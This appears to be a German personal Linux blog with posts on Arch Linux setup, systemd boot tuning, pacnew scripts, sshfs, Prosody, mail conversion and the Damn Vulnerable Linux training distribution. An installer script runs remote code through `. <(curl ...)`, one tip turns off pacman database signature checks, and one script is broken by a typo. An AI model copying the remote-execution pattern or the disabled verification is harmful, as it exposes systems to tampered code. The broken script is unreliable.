Zu Punkt 10: Wieso muss ich mir dann noch einige Pakete nachinstallieren. Moneyplex z. B.? Oder liegt es daran, dass ich Arch nutze? Ich muss zugeben, dass ich das Buch nicht kenne. Eventuell stehen da durchaus wissenswerte Sachen darin. Aber wie dafür geworben wird, finde ich ziemlich ungut (um es mal vorsichtig zu formulieren). Wäre das jetzt MS gewesen, hätte man vermutlich einen Shitstorm aufgrund des FUD gestartet. Ich komme irgendwie gerade in Versuchung mal Canonical anzuschreiben um deren Meinung über solch eine Werbung mit Ihrem Produkt (was ja bei dem Buch mit dabei ist) zu erfragen. Was haltet ihr von der Art, wie hier für Linux im Allgemeinen und für Ubuntu bzw. das Buch dazu im Speziellen geworben wird?


Linuxpaten reloaded?

Vor einiger Zeit gab es unter linuxpaten.org ein Angebot bei dem man sich als Pate bzw. Patenkind für eine bestimmte Distribution anmelden konnte. Als Patenkind hatte man so einen festen Ansprechpartner der sich mit Distribution XYZ auskennt. Als Pate hat man seinem Patenkind eben geholfen. Diese Angebot liegt nun schon ein ganzes Stück auf Eis. Scheinbar wurde die Seite von einem Unternehmen übernommen und still gelegt.

Jetzt stelle ich mir gerade die Frage, ob sich ein ähnliches Angebot unter einer anderem Domain lohnen würde. Also lohnen im Sinne von "besteht Bedarf?". Was meint ihr? Und würdet ihr euch beteiligen (als Pate oder Patenkind)?


Arch Linux Bug Squashing Day am 17. November 2012

Am 17. November ist es mal wieder soweit. Die Gemeinschaft hinter Arch Linux ist aufgerufen Käfer zu terminieren.

Im Grunde ist das recht einfach. Man sucht sich bestimmte Pakete heraus, überprüft ob die gemeldeten Bugs noch aktuell sind und meldet diese ggf. an Upstream. Sollte es dort bereits einen Patch gegeben, testet man diesen ob er auch funktioniert.

Zur Kommunikation zwischen den Archern dient hier der IRC-Kanal #archlinux-bugs (irc.freenode.net).

Mein derzeitiger Lieblingskäfer wurde zwischenzeitlich sogar schon zertreten. Consolekit, was bei mir den Bootvorgang ziemlich verzögert hat und was schon seit längerem nicht mehr gewartet wird, ist zugunsten von polkit und systemd-logind entfernt worden. Und ja, ich mag systemd.


Alternative zu MySQL-Workbench

Wenn ich größere Sachen an einer MySQL-Datenbank mache, habe ich bisher immer MySQL-Workbench eingesetzt. An sich finde ich das Programm recht gut. Da sich durch ein Update die Bezeichnung einiger Python-Pakete unter Arch Linux geändert haben, war eine kurze Neuinstallation von MySQL-Workbench fällig. Sagte ich kurz? Genau das ist der Punkt, an dem ich das Programm am liebsten aus dem Fenster werfen würde. Das bauen des Paketes dauert gut 30 Minuten. Während der Rechner also fleißig vor sich hin baut, habe ich mir mal die Alternativen zu MySQL-Workbench angesehen. Navicat finde ich zwar gut, aber für das was ich daheim mache, zu teuer. HeidiSQL läuft zwar mit Wine, aber darauf möchte ich verzichten. Zufällig bin ich dann auf DBeaver gestoßen. Und so wie es aussieht, wird MySQL-Workbench wohl von der Platte fliegen, da es innerhalb weniger Sekunden installiert ist. Lediglich der Start könnte etwas schneller sein.

Bisher habe ich mit DBeaver nur etwas herum gespielt. Aber was ich gesehen habe, hat mir gefallen. Das Teil kommt nicht nur mit MySQL sondern auch mit vielen anderen Datenbanken zurecht. PostgreSQL, Oracle und Informix. Nur um mal ein paar Beispiele zu nennen. Somit könnte ich auch die Datenbanken auf der Arbeit von daheim aus quälen... :D Ebenfalls gut finde ich, dass man damit automatisch einen SSH-Tunnel aufbauen kann, um sich darüber mit externen Datenbankservern zu verbinden. ERD Diagramme werden auf den ersten Blick ebenfalls unterstützt. Und der SQL-Editor für die Statements scheint auch das zu machen, was ich will.

Da DBeaver in Java erstellt wurde (was vermutlich die relativ lange Ladezeit erklärt), läuft es nicht nur unter Linux, sondern auch unter Windows, Mac, Solaris usw. Lange Rede, kurzer Sinn, wer von MySQL-Workbench weg will oder einfach mal etwas neues probieren will, sollte mal einen Blick auf den DBeaver werfen.


Raspberry Pi nun mit 512 MB RAM

Der "Minirechner" Raspberry Pi, auf dem diverse Linux-Distributionen laufen, wird nun nicht mehr mit 256 sondern mit 512 MB RAM ausgeliefert.

Die Raspberry Pi Foundation hat damit auf diverse Anfragen von Nutzern reagiert, die auf dem Rechner Anwendungen laufen lassen, die teilweise einen höheren Speicherbedarf haben (z. B. Java-Anwendungen).

Wer noch einen Raspberry Pi mit 256 MB bestellt hat, dieser aber noch nicht versendet wurde, kann sich freuen. Den dann bekommt man mit ziemlicher Wahrscheinlichkeit die 512-MB-Version. Der Preis ist durch diese Upgrade übrigens gleich geblieben.

In den kommenden Tagen wird zudem noch ein Update der Firmware veröffentlicht, mit dem der Speicher dann komplett genutzt werden kann.


ArchBlocks - Installations-Framework für Arch Linux

Gestern bin ich auf ein interessantes Projekt gestoßen, mit dem man die Installation von Arch Linux automatisieren kann. ArchBlocks besteht im Endeffekt aus einem Shellscript, das man nach dem Booten des Arch-Isos aufruft.

#!/bin/bash
# ------------------------------------------------------------------------
# archblocks - minimal, modular, manual Arch Linux install script
# ------------------------------------------------------------------------
# es@ethanschoonover.com @ethanschoonover http://github.com/altercation/archblocks
# INSTRUCTIONS -----------------------------------------------------------
# boot into Arch Install media and run (for this script only):
#
# curl https://raw.github.com/altercation/archblocks/master/sample_laptop.sh" > install.sh
# (...manually review the code! look at the blocks in the repo, then...)
# bash install.sh
# RESPOSITORY ------------------------------------------------------------ REMOTE=https://raw.github.com/altercation/archblocks/master
# CONFIG -----------------------------------------------------------------
HOSTNAME=tau
USERNAME=es
USERSHELL=/bin/bash
FONT=Lat2-Terminus16
FONT_MAP=8859-1_to_uni
LANGUAGE=en_US.UTF-8
KEYMAP=us
TIMEZONE=US/Pacific
MODULES="dm_mod dm_crypt aes_x86_64 ext2 ext4 vfat intel_agp drm i915"
HOOKS="base udev autodetect pata scsi sata usb usbinput consolefont encrypt filesystems fsck" #KERNEL_PARAMS="quiet" # set/used in FILESYSTEM,INIT,BOOTLOADER blocks (this gets added to)
INSTALL_DRIVE=query # "/dev/sda" "query" or blank (blank is the same as "query")

# as git, hg, svn and execute shell scripts automatically.
# list a url to use as a mr config file and archblocks core install will
# su to the new user's (USERNAME above) home and bootstrap using it.
# mr will be installed if this variable is set. # MR_BOOTSTRAP=https://raw.github.com/altercation/es-etc/master/vcs/.mrconfig
# BLOCKS -----------------------------------------------------------------
TIME=common/time_ntp_utc
FILESYSTEM=filesystem/gpt_luks_passphrase_ext4
BOOTLOADER=bootloader/efi_gummiboot
NETWORK=network/wired_wireless_default
#AUDIO=common/audio_alsa
#POWER=common/power_acpi
#XORG=xorg/xorg_wacom_fonts
#VIDEO=xorg/video_mesa_default
#DESKTOP=xorg/desktop_xmonad_minimal
#HARDWARE=hardware/laptop/lenovo_thinkpad_x220
#APPSETS="appsets/cli_hardcore appsets/vim_basics appsets/mutt_basics appsets/git_basics appsets/server_utils"
# if you don't want to create a new block, you can specify extra packages from official repos or AUR here
PACKAGES="urxvt"
AURPACKAGES="urxvi urxvtcd urxvtcd"
# EXECUTE ----------------------------------------------------------------
. <(curl -fsL "${REMOTE}/blocks/_lib/helpers.sh"); _loadblock "_lib/core"

In diesem Shellscript werden diverse Einstellungen wie Hostename, Benutzername, Timezone oder Module und Hooks eingetragen bzw. auf sogenannte Blocks verwiesen. Blocks sind im Grunde genommen wieder Shellscripts, welche sich auf einen bestimmten Bereich beziehen. Z. B. wie in folgendem Beispiel das Netzwerk.

# ------------------------------------------------------------------------
# NETWORK # ------------------------------------------------------------------------
_installpkg netcfg
_installpkg coreutils
_installpkg dhcpcd
_installpkg iproute2
_installpkg bridge-utils # (optional) - for bridge connections
_installpkg dialog # (optional) - for the menu based profile and wifi selectors
_installpkg ifenslave # (optional) - for bond connections
_installpkg ifplugd # (optional) - for automatic wired connections through net-auto-wired
_installpkg wireless_tools # (optional) - for interface renaming through net-rename
_installpkg wpa_actiond # (optional) - for automatic wireless connections through net-auto-wireless _installpkg wpa_supplicant # (optional) - for wireless networking support

_daemon_remove network
_daemon_add net-auto-wireless net-auto-wired ifplugd net-profiles
mv /etc/wpa_supplicant/wpa_supplicant.conf /etc/wpa_supplicant/wpa_supplicant.conf.orig
echo -e "ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=network\nupdate_config=1" > /etc/wpa_supplicant/wpa_supplicant.conf

Hier werden beispielsweise diverse Pakete installiert, die man für den Netzwerkbetrieb braucht. Danach werden Daemons entfernt bzw. hinzugefügt und die jeweilige Konfigurationsdatei kopiert und aktiviert. Auch wenn ich das ganze bisher noch nicht ausprobieren konnte, sieht es doch ziemlich interessant aus. Für Leute, die nur einen Rechner haben und diesen quasi nie neu aufsetzen mag das ganze wie mit Kanonen auf Spatzen schießen sein. Für alle andere ist es vermutlich eine gute Alternative zu Installation per Hand. Einen Support-Thread findet man im Archlinux.org-Forum.


Pacnew Dateien verwalten

Unter Arch Linux werden bestehende Konfigurationsdateien bekanntlich nicht bei Updates der dazu gehörenden Pakete überschrieben. Statt dessen wird eine pacnew-Datei angelegt. Also wenn z. B. die Datei rc.conf bereits vorhanden ist wird im gleichen verzeichnis eine rc.conf.pacnew angelegt. Zum Vergleichen und zusammenführen eventuell vorhandener Änderungen benutze ich ein Script, welches das kleine aber feine Tool meld verwendet.

#!/bin/bash

pacnew=$(find /etc -type f -name "*.pacnew")

# Check if any .pacnew configurations are found
if [[ -z "$pacnew" ]]; then
echo " No configurations to update"
fi

for config in $pacnew; do
# Diff original and new configuration to merge
kdesu meld ${config%\.*} $config &
wait
# Remove .pacnew file?
while true; do
read -p " Delete \""$config"\"? (Y/n): " Yn
case $Yn in
[Yy]* ) sudo rm "$config" && \
echo " Deleted \""$config"\"."
break ;;
[Nn]* ) break ;;
* ) echo " Answer (Y)es or (n)o." ;;
esac
done
done

Mit diesem Script wird man nach dem Vergleichen und Zusammenführen gefragt, ob man die jeweilige pacnew-Datei löschen will. Wäre da nicht sudo. Ich habe eine absolute Abneigung gegen sudo. Von daher funktioniert das hier nicht. Tja und da ich es auch nicht einrichten werde, habe ich mir statt dessen ein weiteres Script gebaut, dass nach pacnew-Dateien sucht und diese dann löscht. Das gleiche gilt für pacsave- und pacorig-Dateien. Naja eigentlich nur einen Einzeiler...

find / -type f -name "*.pacnew" -exec rm -i {} \;

Jetzt noch den sudo-Kram im ersten Script entfernt und ich bin einigermaßen zufrieden.

#!/bin/bash

acnew=$(find /etc -type f -name "*.pacnew")
for config in $pacnew; do
kdesu meld ${config%\.*} $config &
wait
done

Prosody bei uberspace.de installieren

Jetzt habe ich es endlich mal in Angriff genommen, und versucht, den XMPP-Server Prosody auf meinem Uberspace zu installieren. Als erstes habe ich mit per SSH eingeloggt. Das hat schon mal funktioniert... ;-) Als nächstes habe ich mir den Source-Code heruntergeladen und diesen dann entpackt.

wget http://prosody.im/downloads/source/prosody-0.8.2.tar.gz
tar xzf prosody-0.8.2.tar.gz

Da mich Versionsnummern im Verzeichnisnamen nerven, habe ich noch schnell das Verzeichnis umbenannt und bin dann in das Verzeichnis gewechselt.

mv prosody-0.8.2 prosody
cd prosody

Laut Anleitung reicht ein ./configure aus. Hier habe ich mir überlegt, wann ich das zum letzten mal gemacht habe. Ist auf jeden Fall lange her. Da ich aber vermutlich keinen Vollzugriff auf alle Verzeichnisse habe, habe ich daraus erst einmal ein ./configure --prefix=/home/mathmos/prosody gemacht, damit das ganze im Homeverzeichnis installiert wird. Und schon bekam ich die erste Fehlermeldung um die Ohren.

./configure --prefix=/home/mathmos/prosody Lua interpreter found: /usr/bin/lua... Looking for Lua... Checking Lua includes... lua.h not found (looked in /usr/include/lua.h) You may want to use the flag --with-lua-include. See --help.

Er findet also die Datei lua.h nicht unter /urs/include/. Langsam habe ich mich wieder erinnert, wieso ich diese Installationsart schon ewig nicht mehr verwendet habe. Genau wegen solchen Sachen. Unter anderem. Also habe ich mir mal das Wiki von uberspace.de angesehen, was dort zum Thema LUA steht. Wenige Sekunden später hatte ich die Lösung. Das Zeug liegt hier unter /package/host/localhost/lua/. Dort gibt es dann ein Unterverzeichnis include in der die benötigte Datei liegt. Was sagt uns ./configure --help zu dem Thema? Eigentlich alles was man braucht. Also nächster Versuch...

./configure --prefix=/home/mathmos/prosody --with-lua-include=/package/host/localhost/lua/

Damit sollte lua.h nun zu finden sein. Und genau so war es dann auch. Das ganze lief ohne Probleme durch. Also gleich ein make hinterher. Auch das hat funktioniert. Jetzt wollte ich den Server zumindest einmal zum testen starten. Also gleich mal das Teil mittels ./prosody aufgerufen. Und was soll ich sagen. Es funktioniert nicht, weil der Server einige LUA-Erweiterungen nicht findet. Da ich die vermissten Sachen auch nicht gefunden habe, habe ich gerade eine Anfrage an hallo@uberspace gestellt. Mit etwas Glück wird es nachgerüstet. Mit etwas Pech muss ich die Sachen selbst ins Homeverzeichnis installieren. Mit etwas mehr Pech funktioniert das nicht. Aber ich warte jetzt erst mal die Antwort ab.


Entferntes Verzeichnis über SSH lokal mounten

Ich arbeite recht oft mit SSH um auf andere Rechner zuzugreifen. Ab und zu finde ich es recht angenehm, wenn ich ein Verzeichnis, dass eigentlich auf einem Server liegt, lokal mounten kann. Mit sshfs ist das kein Problem.

Erst einmal erstellt man sich auf dem Rechner vor dem man sitzt an einer Stelle an der man Lese- und Schreibzugriff hat ein Verzeichnis. Am besten im eigenen Home-Verzeichnis.

mkdir sshfs

Das Verzeichnis muss nicht zwangsläufig sshfs heißen. Einfach einen Namen angeben, mit dem man etwas anfangen kann.

Nun muss man eigentlich nur noch das gewünschte Verzeichnis des entfernten Rechners  in dieses Verzeichnis mounten. Hierzu reicht ein recht simpler Befehl.

sshfs $Benutzername@$Rechner:/Verzeichnis/auf/dem/Rechner sshfs

Bei $Benutzername muss man den Benutzernamen angeben, mit dem man sich auf dem entfernten Rechner mit SSH einloggen kann. $Rechner ist der Name/IP des entfernten Rechners. Und /Verzeichnis/auf/dem/Rechner ist eben das Verzeichnis auf dem entfernten Rechner, dass man lokal mounten will. Sshfs ist das Verzeichnis, dass wir gerade eben lokal angelegt haben.

Wechselt man nun in das lokal angelegte Verzeichnis findet man dort den Inhalt des entfernten Verzeichnisses vor und kann damit arbeiten, wie wenn alles lokal vorhanden wäre. Nur mit einer kleinen Ausnahme. Es gibt oft eine kleine Verzögerung, wenn man z. B. in ein Unterverzeichnis wechselt.

Aushängen kann man das Verzeichnis wieder, in man einfach folgenden Befehl absetzt.

fusermount -u ~/sshfs

Arch Linux setzt auf systemd

Nun ist es offiziell. Auch Arch Linux wird zu systemd wechseln. Diesen Schritt sind schon einige Distributionen wie Mandriva, Mageia, Fedora oder OpenSuse gegangen. Ich finde die Entscheidung gut.

In absehbarer Zeit wird wohl alles unter systemd laufen (einige Unit scheinen noch zu fehlen) und die rc.conf vermutlich wegfallen. Für einige Archer ist das scheinbar ein Horrorszenario, da angeblich Arch Linux ohne rc.conf nicht mehr Arch Linux ist. Allen McRae hat dazu und zu diversen anderen Änderungen in der letzten Zeit (wie z. B. der Symlink von /lib nach /usr/lib), die auf Kritik bei den Anwendern gestoßen sind, einen guten Beitrag in seinem Blog geschrieben.

Ich werde dies mal als Anlass nehmen und meine Arch-Linux-Installation so weit wie möglich auf systemd umstellen. Bisher läuft hier noch ein Mischbetrieb aus einer alten rc.conf mit allem drum und dran und systemd.

Nachtrag (21.08.2012): Tomegun (einer der Entwickler) hat sich im englischsprachigen Arch-Linux-Forum dazu geäußert wie der Umstieg bisher geplant ist und hat auch einige Punkte genannt warum umgestiegen wird.


Datei nach dem Verzeichnisnamen umbenennen

Vor kurzem gab es eine Anfrage in einem Forum, wie man eine Datei in einem Verzeichnis unkompliziert umbenennen kann, dass der Dateiname danach dem des Verzeichnisses entspricht. Nehmen wir also mal an, dass die Datei aufnahme1.mkv heißt und das Verzeichnis Mein_bester_Urlaubsfilm.

Mittels des Befehls find . -name \*.mkv -exec mv '{}' "${PWD##*\/}.mkv" \; wird nach Dateien mit der Endung .mkv gesucht. Wird eine oder mehrere Dateien gefunden, wird nachgesehen wie der Verzeichnisname lautet und die Datei dementsprechend umbenannt. Das klappt natürlich auch mit anderen Dateien. Hierzu einfach das .mkv im Befehl entsprechend der Anforderungen umbenennen.

Mit diesem Befehl wird nun aus aufnahme1.mkv im Verzeichnis Mein_bester_Urlaubsfilm die Datei Mein_bester_Urlaubsfilm.mkv.

Wer eine bessere Lösung hat, kann diese gerne hier angeben. 


Verkaufslimit und Warteliste des Raspberry Pi entfällt

Ich sage es gleich. Die Wartezeit bleibt bei 4-6 Wochen, da die 4000 Stück, die täglich produziert werden wohl nicht ausreichen um den Bedarf zu decken. Dafür kann man aber nun direkt ohne Warteliste und mehr als einen Raspberr Pi bestellen. Das hat zumindest die Raspberry Pi Foundation mitgeteilt und der direkte Bestellvorgang bei den beiden Vertriebspartnern scheint zu funktionieren.


Konfigurationsdateien im Homeverzeichnis aufräumen

In meinem Homeverzeichnis unter Linux stapeln sich inzwischen schon die Dotfiles. Also die Konfigurationsdateien mit einem Punkt am Anfang des Namens. Irgendwann habe ich mir die Frage gestellt, ob man die Dateien nicht in ein Unterverzeichnis verschieben kann, damit das Verzeichnis etwas übersichtlicher wird. Ein komplettes Ausblenden aller versteckten Dateien bzw. Verzeichnisse (alle mit einem Punkt am Anfang der Bezeichnung) kommt für mich nicht in Frage, da ich auf manche Verzeichnisse regelmäßig zugreife.

Als erstes bin ich auf libetc gestoßen. Damit konnte man die Dotfiles in ein Unterverzeichnis packen alle Anfragen wurden auf diese Unterverzeichnis umgeleitet. Da libetc aber zum einen gar nicht mehr betreut wird und man es zum anderen nicht mehr unter Arch Linux installiert bekommt, habe ich mich weiter auf die Suche gemacht.

Und bin fündig geworden. Rewritefs sollte die Lösung sein. Die letzte Aktivität bei dem Projekt war zumindest noch 2012. Rewritefs nutzt FUSE und macht in etwa das was mod_rewrite unter Apache macht.

Mal schauen, ob es mir am Wochenende das System zerlegt, oder ob ich etwas mehr Ordnung in mein Homeverzeichnis bringen kann.


Pacman XferCommand

Ich setze unter pacman (Paketverwaltung von Arch Linux) seit einiger Zeit nicht den internen Downloadmechanismus sondern snarf ein. Das gibt bis zur Version 4.0.3 von pacman auch gut. Seit dem gab es diverse 404-Fehler beim Aktualisieren der Pakete. Snarf findet also irgendetwas nicht und bricht deshalb ab. Gerade habe ich in einem lichten Moment die Lösung gefunden. Mittels pacman -Syu --debug bin ich dem Problem auf die Spur gekommen. Snarf hat die Signatur-Dateien der Datenbanken (z. B. core.db.sig) nicht gefunden. Kein Wunder, bisher sind ja nur die Pakete an sich signiert und die Datenbanken kommen erst später an die Reihe. Um trotzdem eines der XferCommand-Einträge in der /etc/pacman.conf zu nutzen muss man in selbiger bei den eingetragenen Paketquellen bei beim SigLevel noch DatabaseNever hinzufügen, so dass es wie folgt aussieht.

[core] SigLevel = PackageRequired DatabaseNever Include = /etc/pacman.d/mirrorlist

Und schon funktionieren die XferCommand-Einträge wieder.


Planetenseite von ubuntuusers.de

Eigentlich widerstrebt es mir ja, auch nur ansatzweise Werbung für etwas zu machen, das mit Ubuntu zu tun hat. Aber in dem Fall werde ich wohl damit leben müssen. Trauma vorprogrammiert. ;-)

Unter http://planet.ubuntuusers.de werden Beiträge aus dem Bereich Linux und Open Source aus diversen Blogs zusammengetragen. Teilweise sind dort recht gute Artikel zu finden.


Arch Linux schneller starten

Eigentlich ist es mir egal, wie schnell die bei mir installierten Betriebssysteme starten. Zumindest wenn es nicht mehrere Minuten dauert. Aber gestern ist bei mir mal wieder der Spieltrieb ausgebrochen. Darum habe ich mir mal den Bootvorgang von Arch Linux vorgenommen. Als erstes habe ich mir mal angesehen wie schnell das System derzeit startet. Da ich systemd einsetze habe ich das mit dem Befehl systemd-analyze gemacht. Hier wird angezeigt, welche Services usw. wie lange gebraucht haben. Sortiert wird das ganze von lange bis kurz. Insgesamt hat das System gut 30 Sekunden gebraucht (da ich die alten Werte nicht gespeichert habe, bitte folgende zwei Beispiele nur als Beispiele ansehen).

systemd-analyze Startup finished in 11278ms (kernel) + 19325ms (userspace) = 30603ms

Im Grunde also ein Wert, bei dem zumindest ich nicht meckern kann. Dank meines Spieltriebs wollte ich aber trotzdem mal sehen, was möglich ist. Als nächstes haben ich mir mittels systemd-analyze blame anzeigen lassen, was wie lange zum starten gebraucht hat.

systemd-analyze blame
2802ms systemd-readahead-collect.service
2756ms systemd-readahead-collect.service systemd-readahead-replay.service
2727ms systemd-logind.service
2669ms media-WindowsD.mount
2668ms media-WindowsC.mount
2664ms console-kit-daemon.service
2620ms network.service
2600ms dbus.service
1465ms systemd-remount-fs.service
1273ms systemd-udev-trigger.service
1094ms dev-mqueue.mount
1090ms sys-kernel-debug.mount
890ms systemd-user-sessions.service
850ms systemd-sysctl.service
827ms dev-hugepages.mount
609ms systemd-vconsole-setup.service
460ms console-kit-log-system-start.service
451ms systemd-modules-load.service
308ms systemd-tmpfiles-setup.service
306ms media-WindowsD.mount
239ms systemd-udev.service
156ms openvpn@NL4.service
123ms home.mount
43ms tmp.mount
39ms upower.service
16ms udisks2.service
5ms boot.mount
1ms rtkit-daemon.service
1ms sys-fs-fuse-connections.mount

Da ich e4rat verwende habe ich mittels systemctl disable systemd-readahead-collect.service systemd-readahead-replay.service die beiden vergleichbaren systemd-Services deaktiviert, da diese recht lange gebraucht haben. Viel mehr konnte ich nicht deaktivieren, da ich leider alle andere was langsam gestartet wurde, brauche. In der mittels systemd-analyze blame erzeugten List ist mir allerdings noch aufgefallen, dass es relativ lange dauert, bis zwei NTFS-Partitionen gemountet werden. Da ich diese nicht sofort nach dem Start und auch nicht regelmäßige brauche, habe ich mir mal die /etc/fstab vorgenommen. Systemd bietet hier die Möglichkeit, bestimmte Partitionen erst zu mounten, wenn man auf die Mountpoints zugreift. Das sollte wieder etwas bringen. Also habe ich einen Blick in die fstab geworfen. Eine der betreffenden Einträge sah z. B. so aus.

UUID=DE084E95084E6C99 /media/WindowsC ntfs-3g default 0 0

Hier muss nun das default gegen noauto,comment=systemd.automount ausgetauscht werden, so dass wir folgenden Eintrag erhalten.

UUID=DE084E95084E6C99 /media/WindowsC ntfs-3g noauto,comment=systemd.automount 0 0

So wird in diesem Fall die Partition die über /media/WindowC angesprochen wird, erst dann gemountet, wenn man auf den Mountpoint zugreift. Und schon hat das System wieder etwas schneller gebootet. Wirklich schneller wurde der Spaß aber erst, als ich auch noch den Eintrag für /home angepasst habe. Das hat richtig etwas bewirkt. Als letztes habe ich dann noch die unnötigen Terminals, wie hier beschrieben deaktiviert. Und was hat mir das ganze jetzt gebracht? Etwas Spass an der Freude und ein System, dass nun in ca. 18 Sekunden anstelle von 30 bootet. Ich vermute allerdings, dass man den Bootvorgang noch weiter optimieren könnte. Aber dafür müsste man, wenn man den diversen Anleitungen vertraut, zu sehr ins System eingreifen. Das lasse ich mal lieber.


Knecht Rootrecht

Eines muss man den Entwicklern von Grml lassen. Die Codenamen ihrer Distributionsversionen sind immer wieder klasse. So erblickte kurz vor Weihnachten Knecht Rootrecht das Licht der Welt und kann sich nun zu seinen Geschwistern Dioptrienotto, Schluchtenscheisser, Eierspass usw. gesellen.

Grml ist eine Linux-Distribution, welche auf Debian Testing basiert, die für Systemrettungen und -verwaltungen eingesetzt wird. Eine Installation ist möglich, allerdings liegt der Schwerpunkt auf der Live-Distribution, da man auf Rechner, die Probleme machen, nicht mal eben ein Betriebssystem installieren kann. Neuerungen sind z. B. EFI Boot von CDs und USB-Sticks (nur bei der 64Bit-Version) und die Verwendung von Fluxbox.

Beim Booten werden anonyme Statistiken erstellt und an die Entwickler gesendet. Dies kann mit der Bootoption "nostats" verhindert werden.

Genauere Informationen zu Knecht Rootrecht findet man unter http://grml.org/changelogs/README-grml-2011.12/


Auf wiedersehen Kmail2

Eigentlich bin ich ja recht leidensfähig, wenn eine Lösung in Sichtweite ist. Aber in dem Fall habe ich die Nerven einfach nicht. Kmail2 stürzt wegen dieser ver... Konfliktlösung mehrmals täglich bei mir ab (https://bugs.kde.org/show_bug.cgi?id=250797). Jetzt habe ich die Schnauze erst mal voll von dem Programm. Nun darf mich, zumindest vorübergehend, Claws Mail terrorisieren. Das ganze hatte nur einen Haken. Kmail2 verwendet Maildir. Claws Mail unterstützt das nur leider nicht wirklich. Daher musste ich jetzt erst einmal meine ganzen Emails (und das sind nicht wenige) von Maildir in Mbox konvertieren. Für denn Fall, dass sich jemand die Zähne daran ausbeißt, hier nun ein kleines Python-Script, mit dem es bei mir einwandfrei funktioniert hat.

#!/usr/bin/python 
# -*- coding: utf-8 -*-
 
import mailbox
import sys
import email
 
mdir = mailbox.Maildir(sys.argv [-2], email.message_from_file)
outfile = file(sys.argv[-1], 'w')
 
for mdir_msg in mdir:
    # parse the message:
    msg = email.message_from_string(str(mdir_msg))
    outfile.write(str(msg))
    outfile.write('\n')
 
outfile.close()

Das Script, nennen wir es maildir2mbox.py, lässt man dann mit folgendem Befehl auf das jeweilige Maildir-Verzeichnis los: python maildir2mbox.py /pfad/zum/maildir/verzeichnis outbox.mbox So wird für das jeweilige Maildirverzeichnis eine Mbox-Datei erzeugt, welche man problemlos in Claws Mail importieren kann. Unter Arch Linux musste ich allerdings anstelle von phython python2.7 verwenden. Das Script ist übrigens nicht auf meinem Mist gewachsen, sondern stammt von http://yergler.net/projects/one-off/maildir-to-mbox/. Danke (thank you) Nathan. :)


Wir basteln uns eine Debian Live-Distribution

Ich wurde vor ein paar Tagen auf ein Angebot aufmerksam gemacht, welches man unter http://live-build.debian.net/ erreichen kann. Dort kann man sich, nachdem man sich mit Benutzername und E-Mail-Adresse angemeldet hat, sich seine eigene Debian Live-Distribution mit wenigen Klicks zusammenbauen. Unter anderem kann man zum Beispiel festlegen, welche Oberfläche man verwenden will oder ob es für USB oder CD/DVD sein soll. Auch einen Installer kann man hinzufügen. Bei meinem Test habe ich zum Beispiel mal LXDE auf CD/DVD mit dem Live-Installer genommen. Sobald das ganze dann fertiggebaut wurde, bekommt man den Downloadlink per E-Mail. Dieser wurde mir zwar noch nicht zugesandt, aber wenn ich mich nicht täusche sind im Moment die Kapazitäten nicht die besten (Spenden werden gerne angenommen). Aber ich habe Zeit.


Mageia? Ist das ansteckend, oder kann man das essen?

Das war so in etwa mein erster Gedanke, als ich den Namen zum ersten mal gehört habe. Aber weder das eine noch das andere trifft zu.

Das Unternehmen Mandriva hat die Tochterfirma Edge-IT liquidiert und die meisten Entwickler, die an Mandriva gewerkelt haben, entlassen. Da auch die Zukunft des angeschlagenen Unternehmens Mandriva in den Sternen steht und eine Neuausrichtung vermutlich hin zu Unternehmenslösungen zeigen wird, könnte man dies für das Ende der meiner Meinung nach einsteigerfreundlichsten Distribution halten. Tja dann hat man die Rechnung wohl ohne den Wirt gemacht. Oder besser gesagt ohne die Wirte.

Anstelle die Distribution für die Endanwender zu beerdigen haben sich einige der ehemaligen Angestellten wie Anne Nicolas sowie Leute aus der "Mandriva-Community" wie Wolfgang Bornath zusammengetan und Mageia als Community-Projekt ins Leben gerufen. Oder anders ausgedrückt Mandriva wurde geforkt. Einer der wenigen Forks, die ich wirklich gut finde. Mehr Informationen zu dem ganzen findet man bei den MandriaUser.de.

Auch wenn ich inzwischen Archlinux auf meinen Rechnern einsetze, so wünsche ich allen Beteiligten alles gute und viel Erfolg. Haut rein, Jungs und Mädels. Lasst die beste Distribution der Welt nicht sterben. Denn vielleicht wechsle ich ja mal wieder zurück auf meine alte Distribution, die mich nun schon seit Version 7.x begleitet (und es in einer Installation unter VirtualBox auch immer noch tut). Und den ganzen Newbies muss ich ja auch eine einsteigerfreundliche Distribution empfehlen. Was ohne Mageia ziemlich schwierig wird...


"Adware" in Ubuntu

So nun gibt es auch unter Ubuntu "Adware". Und das sogar direkt von Canonical. Laut diesem Bugreport wurde das Emailprogramm Evolution unter Ubuntu 10.10 so gepatcht, dass bei jeder versendeten Email eine Signatur mit dem Text "Sent from Ubuntu" hinzugefügt wird. Und das ohne den Benutzer zu fragen. Und wieder ein Grund mehr, wieso mir keine Distribution aus dem Hause Canonical auf die Rechner kommt. Wobei mir solche Aktionen auch bei anderen Distributionen sauer aufstoßen würden.

Nachtrag (24.09.10): Zwischenzeitlich wurde die "Adware" deaktiviert. Die Signatur ist zwar weiterhin angelegt, aber standardmäßig nicht aktiviert.


Darf es auch etwas unsicherer sein?

Eigentlich versuchen die Distributoren, dass ihre Distributionen zum Zeitpunkt der Veröffentlichung so sicher wie möglich sind. Eigentlich... Bei der Distribution DVL ist genau das Gegenteil der Fall. Es wurde soviel falsch konfigurierte, defekte, veraltete und angreifbare Software wie möglich eingebaut. Die Idee für solch eine Distribution stammt von Herrn Dr. Thorsten Schneider, welcher an der Universität Bielefeld Kurse wie "Ethical Hacking - Binary Auditing & RCE" hält.

Was soll das jetzt? Mit DVL soll es primär IT-Studenten als Trainingssystem dienen und ihnen ermöglichen sich in Themen wie Reverse Code Engineering, Buffer Overflows, Shellcode Entwicklung, Web Exploitation und SQL injection einzuarbeiten. Aber auch ganz normale Menschen können sich diese "Spielwiese" herunterladen und damit lernen. Solch ein Wissen kann ja auch dazu dienen z. B. Schwachstellen verwendeter Software zu erkennen und zu beheben bzw. den Entwicklern zu melden. Oder die Software zu wechseln.

Zu finden ist DVL unter Damn Vulnerable Linux. Dort findet man neben diverser Informationen auch die Downloadmöglichkeit.

DVL sollte nicht als Produktivsystem verwendet werden. Am besten installiert man es unter einer virtuellen Umgebung wie VirtualBox oder als Live-DVD. Eine direkte Verbindung ins Internet würde ich ebenfalls nicht empfehlen. Warum, sollte eigentlich klar sein.

Dass man mit dem damit erworbenem Wissen keinen Mist anstellt, sollte klar sein. Und ja, das meine ich ernst.


KDM Deutsch beibringen

